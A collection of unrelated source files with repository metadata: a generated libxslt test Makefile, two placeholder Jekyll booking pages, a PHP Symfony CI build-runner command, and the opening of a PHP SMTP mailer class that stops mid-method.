/Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26/missing --run tar AR = ar AS = as AUTOCONF = ${SHELL} /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26/missing --run autoconf AUTOHEADER = ${SHELL} /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26/missing --run autoheader AUTOMAKE = ${SHELL} /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26/missing --run automake-1.11 AWK = awk CC = gcc CCDEPMODE = depmode=gcc3 CFLAGS = -g -O2 -Wall CPP = gcc -E CPPFLAGS = CYGPATH_W = echo DEFS = -DHAVE_CONFIG_H DEPDIR = .deps DLLTOOL = dlltool DSYMUTIL = dsymutil DUMPBIN = ECHO_C = \c ECHO_N = ECHO_T = EGREP = /usr/bin/grep -E EXEEXT = EXSLT_INCLUDEDIR = -I${includedir} EXSLT_LIBDIR = -L${libdir} EXSLT_LIBS = -lexslt -lxslt -L/Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ports/x86_64-apple-darwin13.1.0/libxml2/2.8.0/lib -lxml2 -lz -lpthread -liconv -lm EXTRA_LIBS = -L/Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ports/x86_64-apple-darwin13.1.0/libxml2/2.8.0/lib -lxml2 -lz -lpthread -liconv -lm FGREP = /usr/bin/grep -F GREP = /usr/bin/grep HTML_DIR = $(datadir)/doc/$(PACKAGE)-$(VERSION)/html INSTALL = /usr/local/bin/ginstall -c INSTALL_DATA = ${INSTALL} -m 644 INSTALL_PROGRAM = ${INSTALL} INSTALL_SCRIPT = ${INSTALL} INSTALL_STRIP_PROGRAM = $(install_sh) -c -s LD = /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld LDFLAGS = LIBEXSLT_MAJOR_VERSION = 0 LIBEXSLT_MICRO_VERSION = 15 LIBEXSLT_MINOR_VERSION = 8 LIBEXSLT_VERSION = 0.8.15 LIBEXSLT_VERSION_EXTRA = LIBEXSLT_VERSION_INFO = 8:15:8 LIBEXSLT_VERSION_NUMBER = 815 LIBGCRYPT_CFLAGS = LIBGCRYPT_CONFIG = LIBGCRYPT_LIBS = LIBOBJS = LIBS = LIBTOOL = $(SHELL) $(top_builddir)/libtool LIBXML_CFLAGS = -I/Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ports/x86_64-apple-darwin13.1.0/libxml2/2.8.0/include/libxml2 LIBXML_LIBS = -L/Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ports/x86_64-apple-darwin13.1.0/libxml2/2.8.0/lib -lxml2 -lz -lpthread -liconv -lm LIBXML_REQUIRED_VERSION = 2.6.27 LIBXML_SRC = LIBXSLT_DEFAULT_PLUGINS_PATH = /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ports/x86_64-apple-darwin13.1.0/libxslt/1.1.26/lib/libxslt-plugins LIBXSLT_MAJOR_MINOR_VERSION = 1.1 LIBXSLT_MAJOR_VERSION = 1 LIBXSLT_MICRO_VERSION = 26 LIBXSLT_MINOR_VERSION = 1 LIBXSLT_VERSION = 1.1.26 LIBXSLT_VERSION_EXTRA = LIBXSLT_VERSION_INFO = 2:26:1 LIBXSLT_VERSION_NUMBER = 10126 LIPO = lipo LN_S = ln -s LTLIBOBJS = MAKEINFO = ${SHELL} /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26/missing --run makeinfo MKDIR_P = /usr/local/bin/gmkdir -p MV = /bin/mv M_LIBS = NM = /usr/bin/nm NMEDIT = nmedit OBJDUMP = objdump OBJEXT = o OTOOL = otool OTOOL64 = : PACKAGE = libxslt PACKAGE_BUGREPORT = PACKAGE_NAME = PACKAGE_STRING = PACKAGE_TARNAME = PACKAGE_VERSION = PATH_SEPARATOR = : PERL = perl PYTHON = PYTHONSODV = PYTHON_INCLUDES = PYTHON_SITE_PACKAGES = PYTHON_SUBDIR = PYTHON_VERSION = RANLIB = ranlib RELDATE = Fri Apr 18 2014 RM = /bin/rm SED = /usr/bin/sed SET_MAKE = SHELL = /bin/sh STATIC_BINARIES = STRIP = strip TAR = /usr/bin/tar THREAD_LIBS = -lpthread VERSION = 1.1.26 VERSION_SCRIPT_FLAGS = WIN32_EXTRA_LDFLAGS = WIN32_EXTRA_LIBADD = WITH_CRYPTO = 0 WITH_DEBUGGER = 1 WITH_MEM_DEBUG = 0 WITH_MODULES = 1 WITH_TRIO = 0 WITH_XSLT_DEBUG = 1 XMLLINT = /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ports/x86_64-apple-darwin13.1.0/libxml2/2.8.0/bin/xmllint XML_CONFIG = /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ports/x86_64-apple-darwin13.1.0/libxml2/2.8.0/bin/xml2-config XSLTPROC = /usr/bin/xsltproc XSLTPROCDV = XSLT_INCLUDEDIR = -I${includedir} XSLT_LIBDIR = -L${libdir} XSLT_LIBS = -lxslt -L/Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ports/x86_64-apple-darwin13.1.0/libxml2/2.8.0/lib -lxml2 -lz -lpthread -liconv -lm XSLT_LOCALE_WINAPI = 0 XSLT_LOCALE_XLOCALE = 1 abs_builddir = /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26/tests/reports abs_srcdir = /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26/tests/reports abs_top_builddir = /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26 abs_top_srcdir = /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26 ac_ct_CC = gcc ac_ct_DUMPBIN = am__include = include am__leading_dot = . am__quote = am__tar = ${AMTAR} chof - "$$tardir" am__untar = ${AMTAR} xf - bindir = ${exec_prefix}/bin build = i386-apple-darwin13.1.0 build_alias = build_cpu = i386 build_os = darwin13.1.0 build_vendor = apple builddir = . datadir = ${datarootdir} datarootdir = ${prefix}/share docdir = ${datarootdir}/doc/${PACKAGE} dvidir = ${docdir} exec_prefix = ${prefix} host = i386-apple-darwin13.1.0 host_alias = host_cpu = i386 host_os = darwin13.1.0 host_vendor = apple htmldir = ${docdir} includedir = ${prefix}/include infodir = ${datarootdir}/info install_sh = ${SHELL} /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26/install-sh libdir = ${exec_prefix}/lib libexecdir = ${exec_prefix}/libexec localedir = ${datarootdir}/locale localstatedir = ${prefix}/var lt_ECHO = /bin/echo mandir = ${datarootdir}/man mkdir_p = /usr/local/bin/gmkdir -p oldincludedir = /usr/include pdfdir = ${docdir} prefix = /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ports/x86_64-apple-darwin13.1.0/libxslt/1.1.26 program_transform_name = s,x,x, psdir = ${docdir} pythondir = sbindir = ${exec_prefix}/sbin sharedstatedir = ${prefix}/com srcdir = . sysconfdir = ${prefix}/etc target_alias = top_build_prefix = ../../ top_builddir = ../.. top_srcdir = ../.. EXTRA_DIST = \ cmdlineparams.xml cmdlineparams.xsl cmdlineparams.out \ tst-1.xml tst-1.xsl tst-1.out tst-1.err \ tst-2.xml tst-2.xsl tst-2.out tst-2.err \ undefvar.xml undefvar.xsl undefvar.out undefvar.err \ recglobparam.xsl recglobvar.xsl reclocparam.xsl reclocvar.xsl \ recglobparam.xml recglobvar.xml reclocparam.xml reclocvar.xml all: all-am .SUFFIXES: $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu tests/reports/Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --gnu tests/reports/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(top_srcdir)/configure: $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): $(am__aclocal_m4_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(am__aclocal_m4_deps): mostlyclean-libtool: -rm -f *.lo clean-libtool: -rm -rf .libs _libs tags: TAGS TAGS: ctags: CTAGS CTAGS: distdir: $(DISTFILES) @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done check-am: all-am check: check-am all-am: Makefile installdirs: install: install-am install-exec: install-exec-am install-data: install-data-am uninstall: uninstall-am install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-am install-strip: $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ `test -z '$(STRIP)' || \ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install mostlyclean-generic: clean-generic: distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-am clean-am: clean-generic clean-libtool mostlyclean-am distclean: distclean-am -rm -f Makefile distclean-am: clean-am distclean-generic dvi: dvi-am dvi-am: html: html-am html-am: info: info-am info-am: install-data-am: install-dvi: install-dvi-am install-dvi-am: install-exec-am: install-html: install-html-am install-html-am: install-info: install-info-am install-info-am: install-man: install-pdf: install-pdf-am install-pdf-am: install-ps: install-ps-am install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-am -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-am mostlyclean-am: mostlyclean-generic mostlyclean-libtool pdf: pdf-am pdf-am: ps: ps-am ps-am: uninstall-am: .MAKE: install-am install-strip .PHONY: all all-am check check-am clean clean-generic clean-libtool \ distclean distclean-generic distclean-libtool distdir dvi \ dvi-am html html-am info info-am install install-am \ install-data install-data-am install-dvi install-dvi-am \ install-exec install-exec-am install-html install-html-am \ install-info install-info-am install-man install-pdf \ install-pdf-am install-ps install-ps-am install-strip \ installcheck installcheck-am installdirs maintainer-clean \ maintainer-clean-generic mostlyclean mostlyclean-generic \ mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am $(top_builddir)/xsltproc/xsltproc: @(cd ../../xsltproc ; $(MAKE) xsltproc) all: valgrind: @echo '## Running the regression tests under Valgrind' $(MAKE) CHECKER='valgrind -q' tests test tests: $(top_builddir)/xsltproc/xsltproc @echo '## Running reports tests' @(echo > .memdump) -@(for i in $(srcdir)/../docs/*.xml ; do \ if [ -d $$i ] ; then continue ; fi ; \ doc=`basename $$i .xml` ; \ for j in $(srcdir)/$$doc*.xsl ; do \ if [ ! -f $$j ] ; then continue ; fi ; \ if [ -d $$j ] ; then continue ; fi ; \ name=`basename $$j .xsl`; \ out=$(srcdir)/"$$name".out; \ err=$(srcdir)/"$$name".err; \ log=`$(CHECKER) $(top_builddir)/xsltproc/xsltproc \ --stringparam test passed_value \ --stringparam test2 passed_value2 \ $$j $$i > result.$$name \ 2> err.$$name ; \ if [ ! -f $$out ] ; then \ cp result.$$name $$out ; \ if [ -s err.$$name ] ; then \ cp err.$$name $$err ; \ fi ; \ else \ diff $$out result.$$name; \ if [ -s $$err ] ; then \ diff $$err err.$$name; \ else \ diff /dev/null err.$$name; \ fi ; \ fi ; \ grep "MORY ALLO" .memdump | grep -v "MEMORY ALLOCATED : 0" || true`;\ if [ -n "$$log" ] ; then \ echo $$name result ; \ echo $$log ; \ fi ; \ rm -f result.$$name err.$$name; \ done ; done) # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT:
apcomplete/devise_security_questions
vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26/tests/reports/Makefile
Makefile
mit
15,708
--- layout: page title: Sanford - Lucas Wedding date: 2016-05-24 author: Jordan Ortega tags: weekly links, java status: published summary: Duis risus tellus, vestibulum eu efficitur sed, volutpat ac arcu. banner: images/banner/leisure-02.jpg booking: startDate: 11/02/2017 endDate: 11/06/2017 ctyhocn: MCOFMHX groupCode: SLW published: true --- In vitae lectus vel odio feugiat vehicula sed eget odio. Nulla egestas erat in quam volutpat ultrices. Suspendisse lacinia mauris sit amet magna elementum, at scelerisque lacus aliquam. Maecenas tempor risus non lacinia luctus. Ut in neque massa. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse et massa hendrerit elit consequat sodales non ut magna. In lobortis malesuada felis, eget cursus ex varius pulvinar. Donec in dolor eleifend leo tristique tempus non dignissim dolor. Sed condimentum nisi facilisis, tincidunt nibh eget, sagittis nunc. Vivamus cursus eu enim nec congue. Suspendisse in varius lacus. Duis eu egestas sem, non maximus nibh. Suspendisse rhoncus orci nec ultrices pharetra. Vestibulum auctor lectus et nunc ultricies, quis viverra nisi porttitor. Suspendisse lacinia ante ut lacus rutrum, et condimentum ipsum sollicitudin. Phasellus nec ultrices sapien. Ut quis vehicula turpis. Duis suscipit enim varius est convallis tincidunt. Maecenas sit amet ex et mauris condimentum rhoncus. Quisque elementum velit at volutpat consectetur. 1 Quisque at diam aliquet mauris volutpat posuere sit amet a justo 1 Cras ut ligula rutrum nisi imperdiet scelerisque 1 Fusce accumsan tellus sed mi egestas scelerisque 1 Phasellus lacinia lacus pretium egestas scelerisque 1 Duis sodales dolor vitae lacus egestas pretium. Praesent elementum eu elit eu vestibulum. Sed purus nibh, tincidunt sed nunc vel, tristique auctor tortor. Aliquam at ligula facilisis turpis auctor facilisis eget a ipsum. Vivamus et hendrerit eros. Pellentesque eu ante felis. Praesent pulvinar bibendum bibendum. Nunc libero tortor, aliquam sed efficitur eu, lacinia sit amet elit. Proin bibendum ornare elit. Duis in turpis metus. Nullam faucibus diam eget risus efficitur condimentum.
KlishGroup/prose-pogs
pogs/M/MCOFMHX/SLW/index.md
Markdown
mit
2,143
--- layout: page title: Parks - Bowen Wedding date: 2016-05-24 author: Brandon Gates tags: weekly links, java status: published summary: Aliquam sit amet lectus velit. Curabitur venenatis. banner: images/banner/meeting-01.jpg booking: startDate: 01/10/2016 endDate: 01/11/2016 ctyhocn: PUBELHX groupCode: PBW published: true --- Mauris vehicula diam vitae quam varius tempus. Nam et sapien ut justo elementum condimentum. Nam lobortis sed purus eu molestie. Donec nisl elit, suscipit sed convallis eu, ornare eget nisi. Nam pellentesque metus nunc, a elementum est ultricies sed. Suspendisse tempor odio non metus pulvinar accumsan. Maecenas ullamcorper odio eu tempor ultrices. Mauris et libero sollicitudin, varius ligula ac, ornare felis. Fusce feugiat orci vel quam facilisis varius. Fusce posuere tincidunt commodo. Fusce lectus sem, dictum eget metus a, fringilla convallis lectus. Quisque vel turpis quis sem pulvinar feugiat rhoncus eget mauris. Phasellus tincidunt tristique placerat. Aliquam erat volutpat. Suspendisse aliquet interdum dui eu commodo. Praesent vitae luctus massa, sit amet viverra elit. * Etiam nec justo quis dui aliquet blandit a at justo * Mauris aliquet nisl non mauris elementum, in imperdiet augue blandit * Sed nec ipsum vitae elit sollicitudin auctor * Integer vel odio volutpat, ullamcorper turpis a, ultrices ex * Maecenas a tortor gravida quam semper facilisis. Interdum et malesuada fames ac ante ipsum primis in faucibus. Aliquam erat volutpat. Vivamus at velit sodales, pulvinar nulla vulputate, aliquet sapien. Mauris sit amet turpis diam. Aliquam tincidunt non turpis in commodo. Ut mauris nisi, lobortis feugiat enim a, ullamcorper scelerisque dui. Fusce convallis mollis neque ac semper. Maecenas id ligula metus. Cras aliquet dui lectus, nec dapibus odio porta id. Proin mauris mi, molestie at ex ut, ultrices varius sem. Proin quam est, fringilla ac felis quis, accumsan laoreet nibh. Ut vel augue a augue dapibus maximus nec quis sapien. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam gravida rhoncus mi a interdum. Etiam ultricies porta varius. Ut sollicitudin purus aliquam enim iaculis tincidunt sit amet ac mi. Vivamus est nunc, faucibus a aliquet vel, posuere et arcu. Phasellus tincidunt hendrerit neque, vitae auctor diam pretium ut. Aliquam in suscipit diam. Morbi lobortis mollis mauris. Sed elit ex, finibus nec metus quis, fringilla lacinia quam. Donec pretium lorem eu ullamcorper sollicitudin. Proin interdum faucibus metus, sed ultrices ex pharetra ac. Morbi egestas, ipsum et venenatis volutpat, erat neque semper ipsum, a volutpat metus turpis vel orci. Aliquam porttitor aliquam porttitor. In eget iaculis arcu. Aliquam placerat placerat neque in posuere. Vestibulum ac luctus neque. Mauris malesuada facilisis dolor. Cras egestas, tellus id consequat consequat, libero neque feugiat metus, eget eleifend mauris libero non neque.
KlishGroup/prose-pogs
pogs/P/PUBELHX/PBW/index.md
Markdown
mit
2,923
<?php namespace danaketh\CIBundle\Command; use danaketh\CIBundle\Entity\Build; use danaketh\CIBundle\Entity\BuildData; use danaketh\CIBundle\Entity\BuildLog; use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand; use Symfony\Component\Config\FileLocator; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Process\Process; use Symfony\Component\Yaml\Yaml; /** * Class BuilderRunCommand * * @package danaketh\CIBundle\Command */ class BuilderRunCommand extends ContainerAwareCommand { /** * @var bool */ protected $buildStatus = Build::SUCCESS; /** * @var \Doctrine\ORM\EntityManager */ protected $entityManager; /** * @var array */ protected $services; /** * @var array */ protected $plugins; /** * @var array */ protected $environments; /** * @var \Monolog\Logger */ protected $logger; /** * @var \danaketh\CIBundle\Entity\Build */ protected $build; /** * @var \danaketh\CIBundle\Entity\Project */ protected $project; /** * @var string */ protected $buildPath; /** * @var string */ protected $buildHash; /** * @var array */ protected $projectConfig; /** * @var \danaketh\CIBundle\Model\Repository */ protected $repository; /** * @param integer $status */ protected function setBuildStatus($status) { $this->buildStatus = $status; } /** * Set the command */ protected function configure() { $this ->setName('ci:builder:run') ->setDescription('Run the project builder'); } /** * Initialize the build. Find a build to process and load it's project. * * @param InputInterface $input * @param OutputInterface $output */ protected function initialize(InputInterface $input, OutputInterface $output) { $this->entityManager = $this->getContainer()->get('doctrine.orm.entity_manager'); $this->services = $this->getContainer()->getParameter('danaketh_ci.services'); $this->plugins = $this->getContainer()->getParameter('danaketh_ci.plugins'); $this->environments = $this->getContainer()->getParameter('danaketh_ci.env'); $this->logger = $this->getContainer()->get('logger'); $this->build = $this->entityManager->getRepository('danakethCIBundle:Build')->findOneBy(array( 'status' => 0 ), array( 'created' => 'asc' )); if ($this->build === null) { $this->logger->info('Queue empty'); $output->writeln('No builds queued. You should probably go and write down some more code...'); exit(0); } $this->project = $this->build->getProject(); } /** * Verifies the project's type and return an error in case the type is unknown. * * @param OutputInterface $output */ protected function verifyService(OutputInterface $output) { if (!array_key_exists($this->project->getType(), $this->services)) { $this->logger->error('Service ' . $this->project->getType() . ' not found!'); exit(1); } } /** * Verifies the build directory and performs a clean-up in case it already exists. * * @param OutputInterface $output */ protected function verifyBuildDirectory(OutputInterface $output) { $this->repository = new $this->services[$this->project->getType()]($this->project->getReference()); if ($this->project->getPrivateKey() !== null) { $this->repository->setPrivateKey($this->project->getPrivateKey()); } $this->buildHash = sha1($this->build->getProjectId().$this->build->getBuild().$this->build->getCreated('Y-m-d H:i:s')); $this->buildPath = getcwd().'/build/'.$this->buildHash; if (is_dir($this->buildPath)) { // drop the build files $output->writeln('Cleaning up after possibly broken build...'); $process = new Process('rm -Rf '.$this->buildPath); $process->run(); if (!$process->isSuccessful()) { $this->logger->error($process->getErrorOutput()); exit(1); } } if (!mkdir($this->buildPath)) { $this->logger->error('Unable to create a build directory '.$this->buildPath); exit(1); } } /** * @param OutputInterface $output */ protected function startBuild(OutputInterface $output) { $this->build->setStarted(new \DateTime('now')); $this->build->setStatus(Build::RUNNING); $this->entityManager->persist($this->build); $this->entityManager->flush(); $output->writeln('Building '.$this->project->getName().' #'.$this->build->getBuild()); } /** * @param OutputInterface $output */ protected function finishBuild(OutputInterface $output) { $output->writeln('Removing build'); $process = new Process('rm -Rf '.$this->buildPath); $process->run(); if (!$process->isSuccessful()) { $this->logger->error($process->getErrorOutput()); } if ($this->buildStatus === Build::SUCCESS) { $this->build->setStatus(Build::SUCCESS); $status = '<info>SUCCESS</info>'; } else { $this->build->setStatus(Build::FAILED); $status = '<error>FAILED</error>'; } $this->build->setFinished(new \DateTime('now')); $this->entityManager->persist($this->build); $this->entityManager->flush(); $output->writeln('Done with status ' . $status); exit(0); } /** * @param OutputInterface $output */ protected function cloneRepository(OutputInterface $output) { $output->write('Cloning repository'); $log = new BuildLog(); $log->setBuild($this->build); $log->setCommand('git clone'); $log->setStarted(new \DateTime('now')); $clone = $this->repository->runClone($this->buildPath); $log->setStatus($clone['status']); $log->setLog($clone['output']); $log->setFinished(new \DateTime('now')); $this->entityManager->persist($log); $this->entityManager->flush(); if ($log->getStatus() === false) { $this->setBuildStatus(Build::FAILED); $output->writeln(' <error>ERROR</error>'); $this->finishBuild($output); return; } $output->writeln(' <info>OK</info>'); } /** * @param OutputInterface $output */ protected function preBuildSetup(OutputInterface $output) { $output->write('Checking out branch `' . $this->build->getBranch() . '` and commit `' . $this->build->getCommitHash() . '`'); $log = new BuildLog(); $log->setBuild($this->build); $log->setCommand('git checkout'); $log->setStarted(new \DateTime('now')); $checkout = $this->repository->checkoutCommit($this->build->getCommitHash()); $log->setStatus($checkout['status']); $log->setLog($checkout['output']); $log->setFinished(new \DateTime('now')); $this->entityManager->persist($log); $this->entityManager->flush(); if ($checkout['status'] === false) { $this->setBuildStatus(Build::FAILED); $output->writeln(' <error>ERROR</error>'); $this->finishBuild($output); return; } $output->writeln(' <info>OK</info>'); } /** * @param OutputInterface $output */ protected function configureBuild(OutputInterface $output) { $log = new BuildLog(); $log->setBuild($this->build); $log->setCommand('configure'); $log->setStarted(new \DateTime('now')); if (!file_exists($this->buildPath.'/cia.yml')) { $log->setStatus(false); $log->setLog('Project build file `cia.yml` not found!'); $log->setFinished(new \DateTime('now')); $this->entityManager->persist($log); $this->entityManager->flush(); $this->logger->error('Project build file `cia.yml` not found!'); $this->setBuildStatus(Build::FAILED); $this->finishBuild($output); return; } $locator = new FileLocator(array( $this->buildPath )); $configFile = $locator->locate('cia.yml', null, false); $this->projectConfig = Yaml::parse($configFile[0]); $log->setStatus(true); $log->setLog('`cia.yml` found and loaded...'); $log->setFinished(new \DateTime('now')); $this->entityManager->persist($log); $this->entityManager->flush(); } /** * @param OutputInterface $output */ protected function setupBuild(OutputInterface $output) { $output->writeln('Running setup commands...'); if (!isset($this->projectConfig['setup'])) { return; } foreach ($this->projectConfig['setup'] as $cmd => $config) { if (isset($this->plugins[$cmd])) { $plugin = $this->plugins[$cmd]; $output->write('Running ' . $plugin['name']); $result = $this->runPlugin($plugin, $config); if ($result === true) { $output->writeln(' <info>OK</info>'); } else { $this->setBuildStatus(Build::FAILED); $output->writeln(' <error>ERROR</error>'); } } } } /** * @param OutputInterface $output */ protected function runPlugins(OutputInterface $output) { foreach ($this->projectConfig['test'] as $id => $config) { if (isset($this->plugins[$id])) { $plugin = $this->plugins[$id]; $output->write('Running ' . $plugin['name']); $result = $this->runPlugin($plugin, $config); if ($result === true) { $output->writeln(' <info>OK</info>'); } else { $this->setBuildStatus(Build::FAILED); $output->writeln(' <error>ERROR</error>'); } } } } /** * Run plugin * * @param array $plugin * @param array $config * * @return bool */ protected function runPlugin($plugin, $config) { // Log the run $log = new BuildLog(); $log->setBuild($this->build); $log->setCommand($plugin['name']); $log->setStarted(new \DateTime('now')); if (!is_array($config)) { $this->setBuildStatus(Build::FAILED); $log->setStatus(false); $log->setLog('Configuration has to be an array. <code>' . gettype($config) . '</code> given.'); } else { $class = $plugin['class']; $plugin = new $class($this->entityManager, $this->build); $plugin->setConfig($config); $plugin->setEnvironments($this->environments); $plugin->setBuildPath($this->buildPath); $plugin->run(); $log->setStatus($plugin->getStatus()); $log->setLog($plugin->getLog()); } $log->setFinished(new \DateTime('now')); $this->entityManager->persist($log); $this->entityManager->flush(); return $log->getStatus(); } /** * Execute the whole building process * * @param InputInterface $input * @param OutputInterface $output * * @return int|null|void */ protected function execute(InputInterface $input, OutputInterface $output) { $this->verifyService($output); $this->verifyBuildDirectory($output); $this->startBuild($output); $this->cloneRepository($output); $this->preBuildSetup($output); $this->configureBuild($output); $this->setupBuild($output); $this->runPlugins($output); $this->finishBuild($output); } }
danaketh/CIA
src/danaketh/CIBundle/Command/BuilderRunCommand.php
PHP
mit
12,389
<?php /***************************************************\ * * Mailer (https://github.com/txthinking/Mailer) * * A lightweight PHP SMTP mail sender. * Implement RFC0821, RFC0822, RFC1869, RFC2045, RFC2821 * * Support html body, don't worry that the receiver's * mail client can't support html, because Mailer will * send both text/plain and text/html body, so if the * mail client can't support html, it will display the * text/plain body. * * Create Date 2012-07-25. * Under the MIT license. * \***************************************************/ namespace Tx\Mailer; use Psr\Log\LoggerInterface; use Tx\Mailer\Exceptions\CodeException; use Tx\Mailer\Exceptions\CryptoException; use Tx\Mailer\Exceptions\SMTPException; class SMTP { /** * smtp socket */ protected $smtp; /** * smtp server */ protected $host; /** * smtp server port */ protected $port; /** * smtp secure ssl tls tlsv1.0 tlsv1.1 tlsv1.2 */ protected $secure; /** * EHLO message */ protected $ehlo; /** * smtp username */ protected $username; /** * smtp password */ protected $password; /** * oauth access token */ protected $oauthToken; /** * $this->CRLF * @var string */ protected $CRLF = "\r\n"; /** * @var Message */ protected $message; /** * @var LoggerInterface - Used to make things prettier than self::$logger */ protected $logger; /** * Stack of all commands issued to SMTP * @var array */ protected $commandStack = array(); /** * Stack of all results issued to SMTP * @var array */ protected $resultStack = array(); public function __construct(LoggerInterface $logger=null) { $this->logger = $logger; } /** * set server and port * @param string $host server * @param int $port port * @param string $secure ssl tls tlsv1.0 tlsv1.1 tlsv1.2 * @return $this */ public function setServer($host, $port, $secure=null) { $this->host = $host; $this->port = $port; 